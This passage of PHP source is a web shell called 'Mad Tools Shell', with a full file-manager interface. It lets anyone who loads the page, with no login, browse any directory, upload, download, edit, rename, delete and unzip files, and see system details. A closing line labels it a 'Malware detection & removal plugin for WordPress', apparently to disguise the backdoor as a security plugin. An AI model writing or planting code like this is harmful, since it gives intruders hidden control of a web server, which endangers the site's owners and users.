    function renameItem($oldName, $newName)
    {
        if (file_exists($oldName)) {
            rename($oldName, $newName);
        }
    }
    // Function to create a zip archive
    function createZip($source, $destination)
    {
        if (extension_loaded('zip')) {
            $zip = new ZipArchive();
            if ($zip->open($destination, ZipArchive::CREATE)) {
                $source = str_replace('\\', '/', realpath($source));
                if (is_dir($source) === true) {
                    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
                    foreach ($files as $file) {
                        $file = str_replace('\\', '/', $file);
                        // Ignore "." and ".." folders
                        if (in_array(substr($file, strrpos($file, '/') + 1), array('.', '..'))) {
                            continue;
                        }
                        $file = realpath($file);
                        if (is_dir($file) === true) {
                            $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
                        } else {
                            if (is_file($file) === true) {
                                $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                            }
                        }
                    }
                } else {
                    if (is_file($source) === true) {
                        $zip->addFromString(basename($source), file_get_contents($source));
                    }
                }
            }
            return $zip->close();
        }
        return false;
    }
    // Function to unzip a file
    function unzipFile($zipFile, $extractTo)
    {
        $zip = new ZipArchive();
        if ($zip->open($zipFile) === true) {
            $zip->extractTo($extractTo);
            $zip->close();
            return true;
        } else {
            return false;
        }
    }
    // Process file uploads
    uploadFiles(getCurrentDir());
    // Process file downloads
    if (isset($_GET['download'])) {
        $downloadFile = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['download'];
        downloadFile($downloadFile);
    }
    // Process file deletion
    if (isset($_GET['delete'])) {
        $deleteItem = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['delete'];
        deleteItem($deleteItem);
    }
    /*
    // Process file/folder renaming
    if (isset($_GET['rename']) && isset($_POST['new_name'])) {
        $oldName = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['rename'];
        $newName = getCurrentDir() . DIRECTORY_SEPARATOR . $_POST['new_name'];
        renameItem($oldName, $newName);
    }*/
    //&& isset($_POST['renameBtn'])
    // Handle Rename
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['oldName']) && isset($_POST['newName'])) {
        $oldName = $_POST['oldName'];
        $newName = dirname($oldName) . '/' . $_POST['newName'];
        renameItem($oldName, $newName);
    }
    // Process folder zipping
    if (isset($_GET['zip'])) {
        $zipFolder = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['zip'];
        $zipFileName = getCurrentDir() . DIRECTORY_SEPARATOR . $_GET['zip'] . '.zip';
        createZip($zipFolder, $zipFileName);
    }
    // Handle Unzip
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['unzipBtn']) && isset($_POST['fileToUnzip'])) {
        unzipFile($_POST['fileToUnzip'], getCurrentDir());
    }
    if (isset($_POST['create_file']) && isset($_POST['file_name'])) {
        $fileName = $_POST['file_name'];
        $filePath = getCurrentDir() . DIRECTORY_SEPARATOR . $fileName;
        if (!file_exists($filePath)) {
            $handle = fopen($filePath, 'w') or die("Cannot create file: " . $fileName);
            fclose($handle);
        }
    }
    if (isset($_POST['create_folder']) && isset($_POST['folder_name'])) {
        $folderName = $_POST['folder_name'];
        $folderPath = getCurrentDir() . DIRECTORY_SEPARATOR . $folderName;
        if (!file_exists($folderPath)) {
            mkdir($folderPath, 0755, true);
        }
    }
    function deleteFileOrDir($item)
    {
        if (is_file($item)) {
            unlink($item);
        } elseif (is_dir($item)) {
            rmdir($item);
        }
    }
    // Handle Delete
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['deleteBtn']) && isset($_POST['itemToDelete'])) {
        $itemToDelete = $_POST['itemToDelete'];
        deleteFileOrDir($itemToDelete);
    }
    ?>



<!DOCTYPE html>
<html>
<head>
    <title><?php 
    echo $_SERVER['HTTP_HOST'] . ' - MS Shell';
    ?></title>
    <!-- Add Bootstrap CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <!-- Add Font Awesome CSS -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <!-- Add Custom CSS -->
    <style>
        /* Your custom CSS styles here */
        body {
            background-color: #111111;
            color: #fff;
        }

        .file-manager-container {
          /*  max-width: 800px;*/
            max-width: 1000px;
            margin: 0 auto;
            padding: 20px;
        }

        .file-manager-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .file-manager-logo img {
            max-width: 150px;
            height: auto;
        }

        .file-manager-path {
            margin-top: 20px;
            display: flex;
            align-items: center;
        }

        .file-manager-path label {
            color: #f39c12;
            font-weight: bold;
        }

        .file-manager-current-dir {
            margin-right: 10px;
            font-weight: bold;
            color: #f39c12;
        }

        .file-manager-go-back {
            cursor: pointer;
            background-color: #f39c12;
            color: #fff;
            border: none;
            padding: 6px 12px;
            font-weight: bold;
        }

        .file-manager-go-back i {
            margin-right: 5px;
        }

        .file-manager-change-button {
            background-color: #f39c12;
            color: #fff;
            border: none;
            padding: 6px 12px;
            cursor: pointer;
            font-weight: bold;
        }

        .file-manager-upload {
            margin-top: 20px;
        }

        .file-manager-upload .custom-file-label::after {
            background-color: #f39c12;
        }

        .file-manager-upload .btn-upload {
            background-color: #f39c12;
            color: #fff;
            border: none;
            padding: 6px 12px;
            cursor: pointer;
            font-weight: bold;
        }

        .file-manager-list {
            margin-top: 20px;
        }

        .file-manager-table .file-name-folder {
            color: #0066CC;
            font-weight: bold;
        }

        .file-manager-table .file-name {
            color: #007A33;
        }

        .file-manager-table .date-modified {
            font-weight: bold;
            color: #fff;
        }

        .file-manager-table .permission {
            font-weight: bold;
            color: #39ff14;
        }
		.btn-unzip {
			background-color:#00AADD !important;
						border: 0px !important;

		}
		.btn-delete {
			background-color:#FF4136 !important;
						border: 0px !important;

		}
		.rename-button {
			background-color:#0074D9 !important;
						border: 0px !important;

		}
		.btn-download {
			background-color:#2ECC40 !important;
			border: 0px !important;
		}
		.edit-btn {
			background-color:#9B59B6 !important;
						border: 0px !important;

		}
        .file-manager-table .btn-download,
        .file-manager-table .btn-rename,
        .file-manager-table .btn-delete,
        .file-manager-table .btn-zip {
            font-weight: bold;
        }
    </style>
</head>
<body>
    <div class="file-manager-container">
        <div class="file-manager-header">
            <h1>Mad Tools Shell</h1>
            <div class="file-manager-logo">
              <h6> Version 0.1 Beta </h6>
            </div>
        </div>
        <div class="file-manager-path">
            <form class="mt-3" method="GET">
                <div class="form-group">
                    <label for="changeDirInput"><strong style="color: #f39c12;">Change Directory:</strong></label>
                    <input type="text" class="form-control" id="changeDirInput" placeholder="Enter Directory Path" name="dir" value="<?php 
    echo getCurrentDir();
    ?>">
                </div>
                <button type="submit" class="btn file-manager-change-button">Change</button>
            </form>
            <div class="file-manager-current-dir">Current Directory: <?php 
    echo getCurrentDir();
    ?></div>
            <?php 
    $currentDir = getCurrentDir();
    $parentDir = dirname($currentDir);
    // Show Go Back button if not in the root directory
    if ($currentDir !== $parentDir) {
        echo ' <a href="?dir=' . urlencode(dirname(getCurrentDir())) . '" class="btn btn-primary go-back-btn">Go Back</a>';
        // echo '<div class="file-manager-go-back" onclick="window.location.href=\'?dir=' . $parentDir . '\'"><i class="fas fa-arrow-left"></i> Go Back</div>';
    }
    ?>
        </div>
		 Uname:&nbsp;<nobr><?php 
    echo php_uname();
    ?></nobr>
        <div class="table-responsive file-manager-list">
            <table class="table table-bordered file-manager-table">
                <thead>
                    <tr>
                        <th style="/*cursor: pointer; width: 100%;*/ color: var(--light); background-color: #1475DC;">Name</th>
                        <th style="/*cursor: pointer; width: 100%;*/ color: var(--light); background-color: #1475DC;">Date Modified</th>
                        <th style="/*cursor: pointer; width: 100%;*/ color: var(--light); background-color: #1475DC;">Permission</th>
                        <th style="/*cursor: pointer; width: 100%;*/ color: var(--light); background-color: #1475DC;">Action</th>
                    </tr>
                </thead>
                <tbody>
                    <?php 
    $items = getFilesAndDirs($currentDir);
    //print_r($items );
    foreach ($items as $item) {
        echo '<tr>';
        echo '<td>';
        if ($item['type'] === 'dir') {
            echo '<a href="?dir=' . $currentDir . '/' . $item['name'] . '"><i class="far fa-folder"></i> <span class="file-name-folder">[ ' . $item['name'] . ' ]</span></a>';
        } else {
            echo '<i class="far fa-file"></i> <span class="file-name">' . $item['name'] . '</span>';
        }
        echo '</td>';
        echo '<td><span class="date-modified">' . $item['modified'] . '</span></td>';
        echo '<td><span class="permission">' . $item['permission'] . '</span></td>';
        echo '<td>';
        // Delete button
        echo '<form method="POST" class="float-sm-left mr-2">';
        echo '<button type="submit" name="deleteBtn" class="btn btn-danger btn-delete btn-sm" onclick="return confirm(\'Are you sure you want to delete this file/folder?\')">';
        echo 'Delete';
        echo '</button>';
        echo '<input type="hidden" name="itemToDelete" value="' . $currentDir . '/' . $item['name'] . '">';
        echo '</form>';
        $editFile = trim($item['name']);
        echo '<button type="button" class="btn btn-info btn-sm rename-button float-sm-left mr-2" data-file="' . $item['name'] . '" data-toggle="modal" data-target="#renameModal">Rename</button>';
        if ($item['type'] === 'dir') {
            echo '<a href="?dir=' . $currentDir . '&zip=' . $item['name'] . '" class="btn btn-primary btn-sm btn-zip">Zip</a>';
            //echo "<a href='?dir=" . urlencode(getCurrentDir()) . "&rename=" . urlencode(getCurrentDir() . DIRECTORY_SEPARATOR) . $item['name'] . "' class='btn btn-success btn-sm btn-rename'>Rename</a>";
            //echo "<a href='?dir=" . urlencode(getCurrentDir()) . "&delete=" . urlencode($item['name']) . "' class='btn btn-danger btn-sm btn-delete'>Delete</a>";
            /* echo '<button class="btn btn-success btn-sm btn-rename">Rename</button>';
               echo '<button class="btn btn-danger btn-sm btn-delete">Delete</button>';*/
        } elseif (strtolower(pathinfo($currentDir . '/' . $item['name'], PATHINFO_EXTENSION)) === 'zip') {
            // Unzip button (if file is a zip)
            echo '<form method="POST" class="float-sm-left mr-2">';
            echo '<button type="submit" name="unzipBtn" class="btn btn-info btn-unzip btn-sm">Unzip</button>';
            echo '<input type="hidden" name="fileToUnzip" value="' . $currentDir . '/' . $item['name'] . '">';
            echo '</form>';
            echo '<a href="?dir=' . $currentDir . '&download=' . $item['name'] . '" class="btn btn-info btn-sm btn-download float-sm-left mr-2">Download</a>';
            /*  echo '<button type="button" class="btn btn-success btn-sm btn-rename rename-button " data-file="'.  $item['name'] . '" data-toggle="modal" data-target="#renameModal">Rename</button>';
                echo "<a href='?dir=" . urlencode(getCurrentDir()) . "&rename=" . urlencode(getCurrentDir() . DIRECTORY_SEPARATOR) . $item['name'] . "' class='btn btn-success btn-sm btn-rename'>Rename</a>";
                echo "<a href='?dir=" . urlencode(getCurrentDir()) . "&delete=" . urlencode($item['name']) . "' class='btn btn-danger btn-sm btn-delete'>Delete</a>";*/
        } else {
            echo '<a href="?dir=' . $currentDir . '&download=' . $item['name'] . '" class="btn btn-info btn-sm btn-download float-sm-left mr-2">Download</a>';
            echo '<button type="button" class="btn btn-primary btn-sm edit-btn float-sm-left mr-2" data-editFile="' . $editFile . '" onclick="editFile(\'' . $editFile . '\')">Edit</button>';
            /*  echo '<button type="button" class="btn btn-success btn-sm btn-rename rename-button " data-file="' .  $item['name'] . '" data-toggle="modal" data-target="#renameModal">Rename</button>';
                
                echo "<a href='?dir=" . urlencode(getCurrentDir()) . "&rename=" . urlencode(getCurrentDir() . DIRECTORY_SEPARATOR) . $item['name'] . "' class='btn btn-success btn-sm btn-rename'>Rename</a>";
                echo "<a href='?dir=" . urlencode(getCurrentDir()) . "&delete=" . urlencode($item['name']) . "' class='btn btn-danger btn-sm btn-delete'>Delete</a>";*/
        }
        echo '</td>';
        echo '</tr>';
    }
    ?>
                </tbody>
            </table>
        </div>
        <!-- File Upload Section -->
        <div class="file-manager-upload mt-3">
            <form method="POST" enctype="multipart/form-data">
			
			
                <div class="custom-file">
                    <input type="file" class="custom-file-input" id="filesToUpload" name="filesToUpload[]" multiple>
                    <label class="custom-file-label" for="filesToUpload">Choose files</label>
                </div>
                <button type="submit" class="btn btn-upload">Upload</button>
            </form>
        </div>
        <!-- End File Upload Section -->
        <!-- End File Create Section -->



        <div class="create-form">
            <form method="POST">
            <div class="custom-file">
                <div class="form-group">
                    <label for="createFileInput"><strong>Create File:</strong></label>
                    <input type="text" class="form-control file-input" id="createFileInput" placeholder="Enter File Name" name="file_name">
                    <br><button type="submit" class="btn btn-success btn-small file-name">Create</button>
                </div>
				
                <input type="hidden" name="create_file" value="1">
            </form>
            <form method="POST">
            <div class="custom-file">
                <div class="form-group">
                    <label for="createFolderInput"><strong>Create Folder:</strong></label>
                    <input type="text" class="form-control file-input" id="createFolderInput" placeholder="Enter Folder Name" name="folder_name">
                    <br><button type="submit" class="btn btn-primary btn-small file-name-folder">Create</button>
                </div>
                <input type="hidden" name="create_folder" value="1">
            </form>
        </div>


                <!-- End File Create Section -->
    </div>












  <!-- Rename Modal -->
  <div class="modal fade" id="renameModal" tabindex="-1" role="dialog" aria-labelledby="renameModalLabel" aria-hidden="true" >
        <div class="modal-dialog" role="document"  style="/*cursor: pointer; width: 100%;*/ color: var(--blue); background-color: var(--light);">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="renameModalLabel" >Rename File/Folder</h5>
                    <button type="button" class="close"  data-bs-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
                </div>
                <div class="modal-body">
                    <form id="renameForm" method="POST">
                        <input type="hidden" id="oldName" name="oldName" value="">
                        <div class="form-group">
                            <label for="newName">New Name:</label>
                            <input type="text" name="newName" class="form-control" id="newName" placeholder="Enter new name" required>
                        </div>
                        <button type="submit" name="renameBtn" value="submit" class="btn btn-primary">Rename</button>
                        <button type="button" class="btn btn-secondary"  data-bs-dismiss="modal">Close</button>

                    </form>
                </div>
            </div>
        </div>
    </div>



        <!-- Edit Modal -->
        <div class="modal fade" id="editModal" tabindex="-1" role="dialog" aria-labelledby="editModalLabel" aria-hidden="true">
            <div class="modal-dialog" role="document"  style="/*cursor: pointer; width: 100%;*/ color: var(--blue); background-color: var(--light);">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="editModalLabel"></h5>
                        <button type="button" class="close" data-bs-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <input type="hidden" id="editFileName" value="">
                        <textarea id="editFileContent" class="form-control" rows="10"></textarea>
                    </div>
                    <div class="modal-footer">
                    <button type="button" class="btn btn-secondary"  data-bs-dismiss="modal">Close</button>
                        <button type="button" class="btn btn-primary" onclick="saveFile()">Save</button>
                    </div>
                </div>
            </div>
        </div>





    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        // Show selected file name in the file input
        $('#chooseFile').on('change', function () {
            var fileName = $(this).val().split('\\').pop();
            $(this).next('.custom-file-label').addClass('selected').html(fileName);
        });

        // Handle Rename Modal
        $(document).on('click', '.rename-button', function () {
            var file = $(this).data('file');
            $('#oldName').val(file);
            $('#newName').val(file);
            $('#renameModal').modal('show');
        });

        // Handle Form Submission
        $('#renameForm').submit(function (event) {
            event.preventDefault();
            var formData = $(this).serialize();
            $.post('<?php 
    echo $_SERVER['PHP_SELF'];
    ?>', formData, function (data) {
                $('#renameModal').modal('hide');
                //location.reload();
            }).fail(function (error) {
                alert('Error renaming file/folder. Make sure the new name is not already taken.');
            });
        });

            // JavaScript functions for file editing and other actions...
            function editFile(fileName) {
                //var fileName = $(this).data('editFile');
                fetch('?dir=<?php 
    echo urlencode(getCurrentDir());
    ?>&edit=1&name=<?php 
    echo urlencode(getCurrentDir() . DIRECTORY_SEPARATOR);
    ?>' + fileName)
                    .then(response => response.text())
                    .then(data => {
                        $("#editModalLabel").text('Edit File :  '+fileName);
                        document.getElementById("editFileName").value = fileName;
                        //document.getElementById("editFileContent").value = data;
                        $("#editFileContent").html(data).show();
                        $('#editModal').modal('show');
                    });
            }

            function saveFile() {
                var fileName = document.getElementById("editFileName").value;
                var fileContent = document.getElementById("editFileContent").value;
               // var fileContent = $(this).data('editFileContent');
              //  var fileContent =  $('#editFileContent').val(); btoa
              var formData = new FormData();
                formData.append('edit_file', 1);
                formData.append('file_name', fileName);
                formData.append('file_content', fileContent);
                fetch('?dir=<?php 
    echo urlencode(getCurrentDir());
    ?>&save=1&name=<?php 
    echo urlencode(getCurrentDir() . DIRECTORY_SEPARATOR);
    ?>' + fileName, {
                    method: 'POST',
                    body: formData
                }).then(response => response.text())
                .then(data => {
                    if (data === "success") {
                        alert("File saved successfully!");
                    } else {
                        alert("Failed to save file.");
                    }
                    $('#editModal').modal('hide');
                });
            }


    </script>
</body>
</html>

<?php 
};
exit;


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.